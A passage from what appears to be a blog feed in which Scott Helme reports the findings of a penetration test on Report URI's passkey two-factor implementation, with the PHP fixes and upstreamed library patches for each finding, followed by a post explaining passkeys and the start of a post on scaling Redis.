rel=\"noreferrer\">Pentest Ltd.</a>, we have effectively no limitations on the scope of the test. This time it was a little different as we only wanted one specific part of our application testing and after discussions, we came up with the following scope:</p><p></p><pre><code>Perform a targeted external security assessment of the Report URI Passkey (WebAuthnbased 2FA) implementation.\nWith the specific aim of assessing:\n• Security of passkey enrolment and authentication flows\n• Interaction between passkeys and existing authentication factors (password and\nTOTP)\n• Potential authentication bypass and downgrade scenarios\n• Protection of credential management functions (add/remove passkey)\n• Security of recovery mechanisms (recovery codes and support-led reset process)\n• Session handling and authentication state transitions\n• Validation of WebAuthn integration controls (challenge handling, RP/origin\nenforcement, replay protections)\n</code></pre><p></p><p>We wanted to be really sure that our implementation was solid, and having someone external come in to test that felt like a worthwhile approach.</p><p></p><h3 id=\"the-findings\">The findings</h3><p>For those who'd like the TLDR; Pentest found a few problems with our implementation, but nothing that could result in unauthorised access. The worst case scenario in any of the findings was that you could add a Passkey to your account that you then couldn't remove. That's a pretty awesome result if you ask me 😎</p><p>Alongside the findings from Pentest, we also did our own security testing and found a couple of minor bugs that we addressed too, but nothing that you'd ever see on the outside. We'll start off by going through the Pentest findings and looking at the solutions that we've implemented for them.</p><p></p><h4 id=\"empty-credential-id\">Empty Credential ID</h4><p>Each Passkey generated by an Authenticator is given an ID that the Authenticator and the website can use to identify it. The specification says that this Credential ID, as it is known, should be \"A probabilistically-unique byte sequence identifying a public key credential source and its authentication assertions\". Being able to set an empty ID value definitely doesn't meet that requirement, and adding a Passkey with no ID also made it impossible to then delete or rename that Passkey in your account because the ID is what we use to interact with it. </p><p>The W3C WebAuthn Level 3 spec <a href=\"https://www.w3.org/TR/webauthn-3/?ref=scotthelme.ghost.io#credential-id\" rel=\"noreferrer\">defines</a> credential ID length constraints, and whilst the spec is not final yet, we decided to target the new version rather than Level 2. </p><p></p><pre><code class=\"language-php\">$credentialIdLen = strlen($data->credentialId);\nif ($credentialIdLen < 16 || $credentialIdLen > 1023) {\n    $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);\n    $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);\n    return '{\"ok\": false, \"error\": \"Invalid credential ID length.\"}';\n}</code></pre><p></p><p>With the length checks in place and further testing completed, this issue is now fully resolved and I'm glad to say it didn't post any security risk.</p><p></p><h4 id=\"overlong-credential-id\">Overlong Credential ID</h4><p>Whilst this issue is resolved by the fix above, there was one additional thing worth clarifying here that was specific to this finding. Without the upper bound on the Credential ID, you could register a Passkey with a huge ID value. The tester noted that if you were to do this, depending on the size of the ID value, you could get to a point where you couldn't register any more Passkeys, despite not having registered the maximum allowed amount of Passkeys. This behaviour was caused by our size limit on the amount of data allowed to be stored in a Property on a Table Storage Entity (we use Microsoft Azure Storage). Adding a new Passkey would have taken the Property over the allowed limit so our handling code did the right thing and rejected the change, failing the Passkey registration. The worst case scenario here is that if you registered a Passkey with a huge Credential ID, you may only be able to register a single Passkey on your account. This issue is resolved by the fix detailed above which also introduced an upper size limit and posed no security risk.</p><p></p><h4 id=\"duplicate-credential-id\">Duplicate Credential ID</h4><p>Going back to the first issue, the spec states that a Credential ID should be \"A probabilistically-unique byte sequence\", so allowing registration of duplicate IDs would not meet that requirement. There are also two separate concerns here, so we'll break them apart. </p><p>The first is that the user could register a Passkey on their account with the same Credential ID as another Passkey already registered on their account. The tester noted that this did not result in overwriting Passkeys (as we index on another value) but it did then leave them with two Passkeys registered with the same Credential ID. We already make use of the <code>excludeCredentials</code> feature, where our service provides back the IDs of the user's existing Credential IDs and the Authenticator can then avoid using duplicates. Of course, the authenticator may not do that, so an additional check is required on the way back in.</p><p></p><pre><code class=\"language-php\">foreach ($passkeys as $passkey) {\n    if ($passkey['id'] === $credentialIdB64) {\n\t    $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);\n        return '{\"ok\": false, \"error\": \"This passkey is already registered.\"}';\n    }\n}</code></pre><p></p><p>The second issue is that a user could register a Passkey with the same Credential ID as a Passkey that another user has registered. Because we're only using Passkeys as a form of 2FA, by the time we get to looking up a Credential ID, we're only looking at those bound to the correct user. The Credential IDs should also be \"probabilistically-unique\" so this is unlikely to ever happen by accident. The spec says that we SHOULD prevent this, not that we MUST, but querying over our entire user table and extracting Credential IDs adds a lot of overhead we'd like to avoid. Reading the spec, I also feel that the concerns raised are more defensive techniques for if your application does things a bit wonky rather than being an actual problem, but drop your comments below if I'm missing something. </p><p>As it stands, we haven't required that a Credential ID be globally unique across the service, but I'm open to input, and happy to say that this issue also posed no security risk.</p><p></p><h4 id=\"origin-mismatch\">Origin Mismatch</h4><p>This one is another bug that doesn't have an impact, but it still shouldn't be able to happen. The bug itself resides in the library we're using for Passkeys and we have up-streamed a fix which is the same as the patch that we're applying locally. </p><p></p><pre><code class=\"language-php\">--- a/src/WebAuthn.php\n+++ b/src/WebAuthn.php\n@@ -636,9 +636,12 @@\n         $host = \\parse_url($origin, PHP_URL_HOST);\n         $host = \\trim($host, '.');\n\n-        // The RP ID must be equal to the origin's effective domain, or a registrable\n-        // domain suffix of the origin's effective domain.\n-        return \\preg_match('/' . \\preg_quote($this->_rpId) . '$/i', $host) === 1;\n+        // The RP ID must be equal to the origin's effective domain, or the\n+        // origin's host must be a subdomain of the RP ID (i.e. preceded by a dot).\n+        if (\\strcasecmp($host, $this->_rpId) === 0) {\n+            return true;\n+        }\n+        return \\str_ends_with(\\strtolower($host), '.' . \\strtolower($this->_rpId));\n     }\n\n     /**</code></pre><p></p><p>The bug is that we're setting our <code>rpId</code> as <code>report-uri.com</code> and the library is checking that the host <em>ends with</em> <code>report-uri.com</code>, which is not a strict enough check. The issue with that is <code>not-report-uri.com</code> and <code>evil-report-uri.com</code> both <em>end with</em> <code>report-uri.com</code>. The check has been made more strict so that we're now looking first for an exact match to <code>report-uri.com</code>, or, we're checking that the host ends with <code>.report-uri.com</code>, having introduced the domain boundary <code>.</code> to make the check appropriate.</p><p>I've done some pretty lengthy mental gymnastics to try and come up with a scenario where this might be exploitable, but I'm struggling! Maybe if someone registered <code>not-report-uri.com</code> and lured a Report URI user there, managed to get the user to initiate a Passkey registration, and we had no CSRF protection on our registration endpoint, and we had no CORS protection on our registration endpoint, then maybe I can see a way for this to be used in an attack... In reality, I'm happy to say that this has no security risk and it has been fixed as a matter of correctness rather than security.</p><p></p><h4 id=\"cross-origin-validation-failure\">Cross-Origin Validation Failure</h4><p>Given the existing controls we have in place, this is a non-issue, but even without those existing controls, this is more of a spec compliance question than a risk. Imagine <code>evil-cyber-hacker.com</code> embeds <code>report-uri.com</code> in an iframe, the user could interact with that iframe and even register a Passkey on their account. In this scenario, the browser will pass <code>crossOrigin: true</code> in the <code>ClientDataJSON</code> to indicate that the registration was initiated inside a cross-origin iframe. Whilst this might sound like something really bad could happen, the Same-Origin Policy is going to give us all of the protection we need here. The attacker page can't read in to the iframe, it can't access any of the Passkey data and it can't conduct any actions on behalf of the user. It is true that if <code>crossOrigin: true</code> is set and you weren't expecting that, you should reject the process, so we've patched to do just that and also up-streamed the change to the library to see if they'd consider a patch there.</p><p></p><pre><code class=\"language-php\">--- a/src/WebAuthn.php\n+++ b/src/WebAuthn.php\n@@ -358,6 +358,11 @@\n             throw new WebAuthnException('invalid origin', WebAuthnException::INVALID_ORIGIN);\n         }\n\n+        // Reject cross-origin requests (proposed Level 3 spec §7.1 Step 10).\n+        if (\\property_exists($clientData, 'crossOrigin') && $clientData->crossOrigin === true) {\n+            throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n+        }\n+\n         // Attestation\n         $attestationObject = new Attestation\\AttestationObject($attestationObject, $this->_formats);\n\n@@ -476,6 +481,11 @@\n             throw new WebAuthnException('invalid origin', WebAuthnException::INVALID_ORIGIN);\n         }\n\n+        // Reject cross-origin requests (proposed Level 3 spec §7.2 Step 13).\n+        if (\\property_exists($clientData, 'crossOrigin') && $clientData->crossOrigin === true) {\n+            throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n+        }\n+\n         // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.\n         if ($authenticatorObj->getRpIdHash() !== $this->_rpIdHash) {\n             throw new WebAuthnException('invalid rpId hash', WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><h4 id=\"user-handle-not-validated\">User Handle Not Validated</h4><p>The <code>userHandle</code> in Passkeys is the internal user ID that the application can use to uniquely identify the user. This can be used when the user is trying to login without having provided a username or email first, so the application can find the user using this ID. We do have a unique <code>userId</code> value that we use to identify all users on the Report URI platform, and we were setting it in the Passkeys flow, but we didn't need to rely on it for anything. As our users will complete the email/password authentication step first, any Credential ID we were provided with could already be directly looked up on the correct <code>userId</code>. That said, the spec requires that if the authenticator provides a <code>userHandle</code> then the application must verify it, and we weren't verifying it because we didn't use it all. </p><p></p><pre><code class=\"language-php\">$userHandleRaw = $postJson['userHandle'] ?? '';\nif ($userHandleRaw !== '') {\n    $userHandle = base64_decode($userHandleRaw, true);\n    if ($userHandle === false || $userHandle === '') {\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);\n        return '{\"ok\": false, \"error\": \"User handle mismatch\"}';\n    }\n    $expectedUserHandle = hash('sha256', $this->userEntity->getUserId($userEntity), true);\n    if (!hash_equals($expectedUserHandle, $userHandle)) {\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);\n        $this->session->unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);\n        return '{\"ok\": false, \"error\": \"User handle mismatch\"}';\n    }\n}</code></pre><p></p><p>Now, if the <code>userHandle</code> value is set, we will verify that it is the correct one, and it's another issue chalked up with no security risk.</p><p></p><h4 id=\"invalid-attestation-statement\">Invalid Attestation Statement</h4><p>In Passkeys, the phrase Attestation is referring to some kind of proof about what Authenticator device is being used. A company might use Attestation to limit staff to only be able to use a certain type or brand of Authenticator, like a YubiKey, for example. We have no such restrictions on what type of Authenticator can be used and permit the use of any Authenticator, including password managers. This means that we use <code>none</code> as our Attestation format and don't expect the client to send us any Attestation statements. What the spec strictly requires though is that we check that nothing was sent, and reject the process if something was sent. This required another patch to our library which just disregarded the Attestation Statement <code>attStmt</code> altogether, even if it had a value, because we do not use it for anything.</p><p></p><pre><code class=\"language-php\">--- a/src/Attestation/Format/None.php\n+++ b/src/Attestation/Format/None.php\n@@ -24,7 +24,14 @@\n     /**\n      * @param string $clientDataHash\n      */\n     public function validateAttestation($clientDataHash) {\n+        // §8.7 None Attestation Statement Format:\n+        // \"If attStmt is a properly formed attestation statement,\n+        //  verify that attStmt is an empty CBOR map.\"\n+        if (\\count($this->_attestationObject['attStmt']) > 0) {\n+            throw new WebAuthnException('invalid none attestation: attStmt must be empty', WebAuthnException::INVALID_DATA);\n+        }\n+\n         return true;\n     }\n</code></pre><p></p><p>With this patch, the library will now check that the <code>attStmt</code> is empty when the Attestation Format is <code>none</code>, which brings us in to alignment with the spec with no security risk.</p><p></p><h4 id=\"invalid-backup-flags\">Invalid Backup Flags</h4><p>When a user is registering or using a Passkey, the Authenticator can tell us two things about how it handles backups of the Passkey. It can tell us:</p><p></p><ol><li>Backup Eligibility -  set if the credential is a multi-device credential, meaning it's designed to be synced across devices (e.g. an iCloud Keychain, Google Password Manager, 1Password, etc...)</li><li>Backup State - set if the credential is currently backed up, i.e. it has actually been synced to the cloud at the time of the ceremony.</li></ol><p></p><p>Looking at those two potential flags that can be set, you can then derive a set of valid states based on the relationship between them.</p><p></p><table>\n<thead>\n<tr>\n<th>BE</th>\n<th>BS</th>\n<th>Meaning</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>0</td>\n<td>0</td>\n<td>Not backup eligible, not backed up</td>\n</tr>\n<tr>\n<td>1</td>\n<td>0</td>\n<td>Backup eligible, not yet backed up</td>\n</tr>\n<tr>\n<td>1</td>\n<td>1</td>\n<td>Backup eligible, currently backed up</td>\n</tr>\n<tr>\n<td>0</td>\n<td>1</td>\n<td><strong>Invalid</strong> — cannot be backed up without being eligible</td>\n</tr>\n</tbody>\n</table>\n<p></p><p>The final row in that table indicates an invalid state because a Passkey can't have been backed up if the Passkey is not eligible to be backed up. The current specification does not require that we reject this, but the future version of the spec does. We will now check for this invalid state and have up-streamed a patch to the library.</p><p></p><pre><code class=\"language-php\">diff --git a/src/Attestation/AuthenticatorData.php b/src/Attestation/AuthenticatorData.php\nindex 83462b1..a73d195 100644\n--- a/src/Attestation/AuthenticatorData.php\n+++ b/src/Attestation/AuthenticatorData.php\n@@ -281,6 +281,12 @@ class AuthenticatorData {\n         $flags->isBackup = $flags->bit_4;\n         $flags->attestedDataIncluded = $flags->bit_6;\n         $flags->extensionDataIncluded = $flags->bit_7;\n+\n+        // Backup State (BS) requires Backup Eligible (BE) per spec.\n+        if ($flags->isBackup && !$flags->isBackupEligible) {\n+            throw new WebAuthnException('invalid backup flags: BS without BE', WebAuthnException::INVALID_DATA);\n+        }\n+\n         return $flags;\n     }\n </code></pre><p></p><p>This issue also present no security risk and is now resolved.</p><p></p><h4 id=\"token-binding-accepted\">Token Binding Accepted</h4><p><a href=\"https://en.wikipedia.org/wiki/Token_Binding?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Token Binding</a> is a fairly old technology that is now deprecated, Chrome <a href=\"https://issues.chromium.org/issues/40589745?ref=scotthelme.ghost.io\" rel=\"noreferrer\">removed their code</a> for it in 2018. A client can indicate it was using Token Binding in a Passkey ceremony by setting the <code>tokenBinding.status</code> value to <code>present</code>. Given that our application does not support Token Binding, and most other applications probably don't either, along with clients having deprecated it, this shouldn't really be possible. Our application would allow a client to indicate it was using Token Binding, even though it can't, and we would ignore these values as we don't use it. The spec does not allow you to ignore these values, so we had to handle them. We're now correctly validating these fields if they are present and we have up-streamed a patch.</p><p></p><pre><code class=\"language-php\">diff --git a/src/WebAuthn.php b/src/WebAuthn.php\nindex d6b78e7..f81882f 100644\n--- a/src/WebAuthn.php\n+++ b/src/WebAuthn.php\n@@ -362,6 +362,12 @@ class WebAuthn {\n             throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n         }\n \n+        // 6. Verify tokenBinding status matches the TLS connection. We do not\n+        //    support Token Binding, so reject status \"present\" (Level 2 §7.1 Step 6).\n+        if (\\property_exists($clientData, 'tokenBinding') && \\is_object($clientData->tokenBinding) && \\property_exists($clientData->tokenBinding, 'status') && $clientData->tokenBinding->status === 'present') {\n+            throw new WebAuthnException('token binding not supported', WebAuthnException::INVALID_DATA);\n+        }\n+\n         // Attestation\n         $attestationObject = new Attestation\\AttestationObject($attestationObject, $this->_formats);\n \n@@ -485,6 +491,12 @@ class WebAuthn {\n             throw new WebAuthnException('cross-origin request not allowed', WebAuthnException::INVALID_ORIGIN);\n         }\n \n+        // 10. Verify tokenBinding status matches the TLS connection. We do not\n+        //     support Token Binding, so reject status \"present\" (Level 2 §7.2 Step 10).\n+        if (\\property_exists($clientData, 'tokenBinding') && \\is_object($clientData->tokenBinding) && \\property_exists($clientData->tokenBinding, 'status') && $clientData->tokenBinding->status === 'present') {\n+            throw new WebAuthnException('token binding not supported', WebAuthnException::INVALID_DATA);\n+        }\n+\n         // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.\n         if ($authenticatorObj->getRpIdHash() !== $this->_rpIdHash) {\n             throw new WebAuthnException('invalid rpId hash', WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><p>This was the last of the issues found in the penetration test and I'm happy to say that this one also presented no security risk and is resolved.</p><p></p><h4 id=\"were-good-to-go\">We're good to go! </h4><p>When making such a big change to how users log in to our service, it makes me feel a lot more comfortable that we've had it thoroughly reviewed by an external party. Whilst there were some issues found here, I'm happy that none of them presented any real risk to our customers, and they've all been fixed anyway. As always, we've published the full report for our penetration test below so you can take a look at the unredacted findings!</p><p><a href=\"https://cdn.report-uri.com/pdf/Report%20URI%20-%202026%20Passkeys%20Penetration%20Test%20Report.pdf?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Download Full Report</a></p><p></p><p></p>\n<!--kg-card-begin: html-->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js\" integrity=\"sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup-templating.min.js\" integrity=\"sha512-+8BiRfWso6waiFDv6tEmWF8yfPGgxAtOYLDUB0rRISLwtpxkJ9lpPNUhxwWlikn3qSO+4RQyzDppi62o3ON/AA==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-php.min.js\" integrity=\"sha512-plzrTi61ltEMFf84gTVO9IkvIMfBu07bnDuahvdlIclmFWzXJ9VcRsny9d45sxFZRv3jJg/MHNyuxnUYEMxMEg==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Penetration Test",
              "term": "Penetration Test",
              "url": null
            }
          ]
        },
        {
          "id": "69b2e9d974ea740001185409",
          "title": "Launching Passkeys support on Report URI! 🗝️",
          "description": "<p>As we're always wanting to keep ahead in the security game, I'm happy to announce that we now support Passkeys on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>! Let's take a quick look at what Passkeys are, why you should use them, and how we've implemented them.</p>",
          "url": "https://scotthelme.ghost.io/launching-passkeys-support-on-report-uri/",
          "published": "2026-03-30T10:10:05.000Z",
          "updated": "2026-03-30T10:10:05.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg\" alt=\"Launching Passkeys support on Report URI! 🗝️\"><p>As we're always wanting to keep ahead in the security game, I'm happy to announce that we now support Passkeys on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>! Let's take a quick look at what Passkeys are, why you should use them, and how we've implemented them.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png\" class=\"kg-image\" alt=\"Launching Passkeys support on Report URI! 🗝️\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"passkeys-solve-a-big-problem\">Passkeys solve a big problem</h4><p>Let's kick things off by stating the biggest benefit of Passkeys which is that they are <strong><em>phishing-resistant</em></strong>! That's right, if you're using Passkeys to protect your account, you no longer have to worry about falling victim to a phishing attack. This was the primary driver for us to add support at Report URI, to provide our customers with a strong authentication mechanism that will give them confidence they are protected against the pervasive threat of phishing attacks. On top of this tremendous benefit, I feel that they're also much more convenient to use too! </p><p></p><h4 id=\"how-do-passkeys-work\">How do Passkeys work?</h4><p>Instead of relying on a secret piece of information like a password, Passkeys work by relying on cryptography and are surprisingly simple under the hood. Your device will create a cryptographic key pair that will be used for authentication when you need to login to the website. The registration process for a Passkey looks like this:</p><p></p><pre><code>\n User               Browser / OS              Website / Server            \n |                      |                           |\n | 1. \"Create Passkey\"  |                           |\n |--------------------->|                           |\n |                      | 2. Request registration   |\n |                      |-------------------------->|\n |                      |                           |\n |                      | 3. Send challenge         |\n |                      |<--------------------------|\n |                      |                           | \n |                      | 4. Create new key pair    |\n |                      |    - save private key     |\n |                      |      on device            | \n |                      |                           |\n |                      | 5. Send public key + attestation\n |                      |-------------------------->|\n |                      |                           | 7. Store public key\n |                      |                           |    with user account\n |                      | 8. Registration complete  |\n |                      |<--------------------------|\n | 9. \"Registration Complete\"                       |\n |<---------------------|                           |\n |                      |                           |</code></pre><p></p><p>You initiate the Passkey registration process in the browser and you will be prompted by your device or password manager to create a Passkey. You device will create the cryptographic key pair, sign the challenge provided by the website, and then return the signed challenge along with your public key, which is stored against your account. The private key is kept securely on your device. Now that Passkey registration is complete, you can then use your Passkey for authentication.</p><p></p><pre><code>User               Browser / OS              Website / Server\n |                      |                           |\n | 1. \"Sign in with passkey\"                        |\n |--------------------->|                           |\n |                      | 2. Request authentication |\n |                      |-------------------------->|\n |                      |                           | \n |                      | 3. Send challenge         |\n |                      |<--------------------------|\n |                      |                           |\n |                      | 4. Biometrics / PIN       |\n |                      | 5. Sign with private key  |\n |                      | 6. Return signed challenge|\n |                      |-------------------------->|\n |                      |                           | 7. Verify signature\n |                      |                           |    using public key\n |                      | 8. Authentication successful\n |                      |<--------------------------| \n | 9. \"Signed in!\"      |                           |\n |<---------------------|                           |</code></pre><p></p><p>When logging in to a website where you have registered a Passkey, you will usually have to initiate the process to sign in with your Passkey. In the background, your device will then start the authentication process and receive the challenge that needs to be signed with your private key. To do that, your device will ask for something like FaceID, TouchID, or similar on your device to authenticate you. Once you have authenticated to your device, it will sign the challenge with your private key and return it to the website. The website can then check it is definitely you by verifying that signature using your public key that it previously received, and then you're logged in! This is such a nice experience and has so little friction for the user, especially when you consider how strong this mechanism is.</p><p></p><h4 id=\"how-are-they-phishing-resistant\">How are they phishing-resistant?</h4><p>When your device creates a Passkey, it doesn't just create and store the keys used, it also stores some important metadata too. The relevant part of that metadata that gives us phishing resistance is the Relying Part ID, or <code>rpId</code>. When you go to Report URI and register a Passkey on our website, the <code>rpId</code> will be saved with the Passkey on your device as <code>report-uri.com</code> and your device can then enforce that your new Passkey is only ever used on this domain or its subdomains. This means that if you end up on a phishing site that <em>looks</em> like Report URI, but isn't actually <code>report-uri.com</code>, the Passkey simply will not work. Take these examples that might make for convincing phishing pages:</p><p></p><pre><code>https://report-url.com               <-- nope\nhttps://report-uri.secure-login.com  <-- nope\nhttps://report-uri.xyz               <-- nope</code></pre><p></p><p>The only way that your device will now use the Passkey to log you in is if you're on a valid website where the Passkey is allowed to be used, effectively neutralising the threat of phishing!</p><p></p><h4 id=\"how-are-they-being-used-on-report-uri\">How are they being used on Report URI?</h4><p>There are two ways that you can use Passkeys on your website and they offer slightly different benefits.</p><p></p><ol><li>You can use Passkeys to replace passwords altogether, so they become your primary authentication mechanism. </li><li>You can use Passkeys as a 2FA mechanism alongside your existing username/password authentication.</li></ol><p></p><p>At Report URI we've opted for option #2 and now offer Passkeys as a 2FA option alongside our existing TOTP 2FA offering. Passkeys make for an incredibly strong second-factor and our primary goal was to achieve the phishing resistance that Passkeys offer. Looking at option #1 is also a valid approach and there are other benefits too, mainly being able to get rid of passwords from your database and protect against password based attacks. Given our <em>extensive</em> measures to protect user passwords, it was less of a concern for us to move to using Passkeys as our primary authentication mechanism and instead we chose to introduce them as a 2FA mechanism. If you're interested in our approach to securing user passwords, you can read my <a href=\"https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">blog post that goes in to detail</a>, but here is a summary:</p><p></p><ol><li>We use the <a href=\"https://haveibeenpwned.com/API/v3?ref=scotthelme.ghost.io#PwnedPasswords\" rel=\"noreferrer\">Pwned Passwords API</a> to prevent the use of passwords that have previously been leaked.</li><li>We use zxcvbn to ensure the use of strong passwords when registering an account or changing password.</li><li>We provide extensive support for password managers using attributes on HTML form elements. </li><li>We store hashed passwords using bcrypt (work factor 10 + 128bit salt) so they are resistant to cracking. </li></ol><p></p><p>Passkeys are now available on the Settings page in your account and we <em>strongly</em> recommend that you go and enable them!</p><p>In the coming week, I will also be publishing two more blog posts. One of them is the full details of the external engagement to have our Passkeys implementation audited. We engaged a penetration testing company to come in and do a full test of our implementation to make absolutely sure it was rock solid. The blog post will contain the full, unredacted report with details of all findings. The second blog post will be the announcement of our whitepaper on Passkeys and the new security considerations they bring if you're planning to use them on your site. Make sure you're subscribed for notifications so you know when they go live!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        },
        {
          "id": "69af4097fedfb90001b388b4",
          "title": "When “One in a Billion” Happens Every Day: Scaling Redis at Report URI",
          "description": "<p>Something that I've come to learn as we continue to grow <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> is that everything is easy until scale makes it hard. We're now processing so much telemetry that a \"one in a billion\" problem can happen every, single, day, and we'</p>",
          "url": "https://scotthelme.ghost.io/when-one-in-a-billion-happens-every-day-scaling-redis-at-report-uri/",
          "published": "2026-03-24T14:36:17.000Z",
          "updated": "2026-03-24T14:36:17.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/redis-billions.webp\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\"><p>Something that I've come to learn as we continue to grow <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> is that everything is easy until scale makes it hard. We're now processing so much telemetry that a \"one in a billion\" problem can happen every, single, day, and we've had to make some significant improvements to our infrastructure to handle that whilst continuing to provide a reliable service!</p><p></p><h4 id=\"our-high-availability-redis-deployment\">Our High-Availability Redis deployment</h4><p>I recently wrote <a href=\"https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">We're going High Availability with Redis Sentinel!</a> and you should start there if you'd like to understand our setup with Redis and Sentinel. TLDR; we have four sentinels in front of two caches, the primary and replica, that handle our telemetry ingestion.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png\" class=\"kg-image\" alt=\"When “One in a Billion” Happens Every Day: Scaling Redis at Report URI\" loading=\"lazy\" width=\"1000\" height=\"785\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-2.png 1000w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>We moved to the HA setup to allow us more flexibility in upgrading the Redis server, changing available resources, and to add some much needed resilience, all using the failover process. All of that work has served us well and I published the linked blog post in Aug 2025, but it wasn't long before even this setup was showing the early signs of struggling. Wanting to get out ahead of any potential problems, we got to work.</p><p></p><h4 id=\"just-how-much-are-we-talking\">Just how much are we talking?</h4><p>You can head over to our <a href=\"https://dash.report-uri.com/home/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Global 